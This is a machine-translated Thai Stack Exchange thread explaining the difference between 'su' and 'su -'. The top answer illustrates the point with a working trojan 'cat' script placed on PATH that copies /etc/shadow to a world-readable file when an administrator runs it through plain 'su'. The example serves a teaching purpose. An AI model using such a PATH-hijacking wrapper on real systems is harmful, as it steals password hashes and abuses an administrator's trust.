ทำไมเราถึงใช้ su - ไม่ใช่แค่ su?


คำตอบ:


240

su -เรียกใช้ล็อกอินเชลล์หลังจากเปลี่ยนผู้ใช้ ล็อกอินเชลล์รีเซ็ตตัวแปรสภาพแวดล้อมส่วนใหญ่โดยจัดเตรียมฐานที่สะอาด

su เพียงแค่สลับผู้ใช้ให้เชลล์ปกติกับสภาพแวดล้อมเกือบจะเหมือนกับผู้ใช้เก่า

ลองนึกภาพคุณเป็นนักพัฒนาซอฟต์แวร์ที่มีการเข้าถึงโดยผู้ใช้ปกติกับเครื่องและผู้ดูแลระบบที่ไม่รู้ของคุณจะไม่ให้สิทธิ์การเข้าถึงรูท ลอง (หวังว่า) หลอกเขา

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

ตอนนี้คุณถามผู้ดูแลระบบของคุณว่าทำไมคุณไม่สามารถcatใช้ไฟล์ดัมมี่ในโฟลเดอร์โฮมของคุณได้ไฟล์มันจะไม่ทำงาน!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

หากผู้ดูแลระบบของคุณไม่ฉลาดหรือขี้เกียจนิดหน่อยเขาอาจมาที่โต๊ะทำงานของคุณแล้วลองใช้พลังผู้ใช้ขั้นสูงของเขา:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

ว้าว! ขอขอบคุณสุดยอดผู้ดูแลระบบ!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

ฮิฮิ.

คุณอาจสังเกตเห็นว่า$PATHตัวแปรที่เสียหายไม่ได้ถูกรีเซ็ต สิ่งนี้จะไม่เกิดขึ้นหากผู้ดูแลระบบเรียกใช้su -แทน


10
su --suเป็นเช่นเดียวกับ
Mikel

12
- เป็นค่าสถานะที่โปรแกรมส่วนใหญ่ตีความว่า "ไม่มีอะไรหลังจากนี้ควรใช้เป็นค่าสถานะ" มีประโยชน์สำหรับ greping สำหรับสิ่งที่เริ่มต้นด้วยเส้นประ
David Mackintosh

2
อย่าลืมตั้งค่าเป็นumask000 มิเช่นนั้นจะไม่ทำงาน
Lekensteyn

10
เราสามารถใส่suไฟล์ใน PATH ได้เช่นกัน suมันไม่ได้เป็นเรื่องยากมากที่จะเลียนแบบพฤติกรรมของจริง ผู้ใช้ระดับสูงได้รับความประมาทแล้ว :-)
Stéphane Gimenez

10
su --ไม่เหมือนกับsu -: --บอกตัวจัดการตัวเลือก getopt (หรือคล้ายกัน) เพื่อหยุดการประมวลผลบรรทัดคำสั่งสำหรับตัวเลือกเพิ่มเติม (มีประโยชน์เช่นถ้าส่วนที่เหลือมีชื่อไฟล์ซึ่งอาจขึ้นต้นด้วย '-') นั่นคือใน "rm -i - -f": -f นั้นจะถือว่าเป็นอาร์กิวเมนต์ปกติดังนั้นที่นี่เป็นชื่อของไฟล์ที่จะrm -iและไม่เป็น-fตัวเลือกเพิ่มเติมจากrmคำสั่ง ดังนั้นsu --เป็นเพียงsuและไม่su -! ดังนั้นsu --จะไม่ปลอดภัยกับ givan ตัวอย่าง (ตลกและให้คำแนะนำ) โดย wag su -ใช้
Olivier Dulac

35

su -บันทึกคุณในฐานะ root อย่างสมบูรณ์ในขณะที่suทำเพื่อให้คุณแกล้งทำเป็นราก

ตัวอย่างที่ชัดเจนที่สุดคือนี่คือ~โฮมไดเร็กตอรี่ของรูทถ้าคุณใช้su -, แต่โฮมไดเร็กตอรี่ของคุณเองถ้าคุณใช้su.

มันอาจหมายถึงความแตกต่างในไฟล์พรอมต์PATHหรือไฟล์ประวัติทั้งนี้ขึ้นอยู่กับระบบของคุณ

ดังนั้นหากคุณเป็นส่วนหนึ่งของทีมที่ดูแลระบบและเพื่อนร่วมงานของคุณสั่งให้คุณทำงานคุณจะรู้ว่ามันจะทำงานเหมือนกันถ้าคุณใช้ทั้งคู่su -แต่ถ้าคุณทั้งคู่กำลังใช้suงานอยู่อาจมีความแตกต่างเนื่องจากคุณมี การกำหนดค่าเชลล์ที่แตกต่างกัน

ในทางกลับกันถ้าคุณต้องการรันคำสั่งในฐานะรูท แต่ใช้การกำหนดค่าของคุณเองอาจsuจะดีกว่าสำหรับคุณ

นอกจากนี้อย่าลืมsudoว่ามี-sตัวเลือกในการเริ่มเชลล์ที่รันในฐานะรูท แน่นอนว่าสิ่งนี้มีกฎที่แตกต่างกันเช่นกันและจะเปลี่ยนแปลงตามการกระจายที่คุณใช้


1
เมื่อฉัน "su" ฉันได้รับ ~ และ $ HOME ทั้งคู่ประเมินเป็น / root พฤติกรรมที่คุณอธิบายนั้นมีเฉพาะกับเชลล์หรือ OS บางเวอร์ชั่นหรือบางอย่าง? ฉันเข้าใจว่า ~ สามารถขยายได้โดยเคอร์เนล ฉันได้ zsh เป็นเชลล์ (และรูท) ของฉัน
JasonWoof

ของคุณ.bashrcหรือ/etc/bashrcหรือสคริปต์มีการตั้งค่า/etc/profile.d PATHมองหาif [ $UID -eq 0 ]หรืออะไรทำนองนั้น
มิเคล

$USERเช่นไม่มีการเปลี่ยนแปลง
เตอร์

1
เกี่ยวกับsudo suอะไร
Simon Kuang

1
ตัวอย่างของคุณใช้ไม่ได้กับฉัน ฉันได้รับไดเรกทอรีเดียวกันแก้ไขในวิธีใด
Daniel W.

1

ฉันใช้ su - เมื่อฉันอยู่ในไดเรกทอรีในฐานะผู้ใช้ปกติ แต่ต้องการเปลี่ยนเป็นรูทและยังคงอยู่ในไดเรกทอรีเดิมหลังจากเปลี่ยน เมื่อคุณใช้ su - มันจะสลับผู้ใช้ไปที่รูทและยังนำคุณไปยัง / รูทซึ่งเป็นไดเรกทอรีโฮมรูท


หรือ/อะไรก็ตามที่ถูกกำหนดให้เป็นโฮมได
เร็กตอรี่

-1

ความแตกต่างที่สำคัญคือ:

su - username ตั้งค่าสภาพแวดล้อมของเชลล์ราวกับว่ามันเป็นการเข้าสู่ระบบที่สะอาดเป็นผู้ใช้ที่ระบุมันเข้าถึงและใช้ตัวแปรสภาพแวดล้อมของผู้ใช้ที่ระบุ

su username เพียงแค่เริ่มต้นเชลล์ด้วยการตั้งค่าสภาพแวดล้อมปัจจุบันสำหรับผู้ใช้ที่ระบุ

หากไม่ได้ระบุชื่อผู้ใช้ด้วยsuและsu -บัญชีรูทจะถือว่าเป็นค่าเริ่มต้น

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.